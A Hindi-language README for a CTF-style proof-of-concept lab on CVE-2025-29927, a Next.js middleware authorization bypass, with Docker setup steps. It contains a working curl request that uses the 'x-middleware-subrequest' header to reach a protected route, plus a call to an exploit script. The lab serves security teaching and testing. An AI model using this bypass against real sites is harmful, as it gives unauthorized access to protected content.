CVE-2025-29927 - Next.js Middleware Authorization Bypass (PoC)

यह कैप्चर द फ्लैग (CTF) शैली में Next.js Middleware Authorization Bypass भेद्यता (CVE-2025-29927) के लिए एक प्रूफ ऑफ कॉन्सेप्ट है। इसका उद्देश्य auth middleware को बायपास करके /protected रूट से फ्लैग प्राप्त करना है।

भेद्यता सारांश

• CVE: CVE-2025-29927
• प्रकार: प्राधिकरण बायपास
• घटक: Next.js Middleware
• प्रभाव: सुरक्षित रूट्स तक अनधिकृत पहुंच
• PoC लक्ष्य रूट: /protected
• अपेक्षित व्यवहार: अनधिकृत उपयोगकर्ताओं को / पर रीडायरेक्ट किया जाता है
• कमजोर व्यवहार: एक तैयार अनुरोध का उपयोग करके रीडायरेक्ट को बायपास करके सीधे सुरक्षित सामग्री तक पहुंचा जा सकता है

PoC सेटअप

1. रिपॉजिटरी क्लोन करें

git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker

2. कमजोर ऐप को बनाएं और चलाएं

sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app

यह कमजोर Next.js ऐप को http://IP:3000 पर शुरू करेगा।

शोषण

1. शोषण के बिना

एक्सेस करने का प्रयास करें:

curl -i http://IP:3000/protected

आपको / पर रीडायरेक्ट किया जाएगा।

 curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected

2. शोषण के साथ

प्रदान की गई exploit.py का उपयोग करके middleware को बायपास करें और सुरक्षित रूट तक पहुंचें:

python3 exploit.py -url http://IP:3000

यदि सफल होता है, तो आप /protected से फ्लैग प्राप्त करेंगे।

फ़ाइलें

• Dockerfile - कमजोर Next.js एप्लिकेशन बनाता है
• exploit.py - auth को बायपास करने के लिए भेद्यता का शोषण करता है
• pages/ - कमजोर /protected और /login रूट्स शामिल हैं
• middleware.js - कमजोर middleware तर्क
• README.md - यह फ़ाइल

अस्वीकरण

यह PoC केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इसका उपयोग उन प्रणालियों के खिलाफ न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।

🏁 फ्लैग

भेद्यता का शोषण करके फ्लैग ढूंढें और एक्सेस करें:

http://IP:3000/protected

शुभकामनाएँ! 🏴‍☠️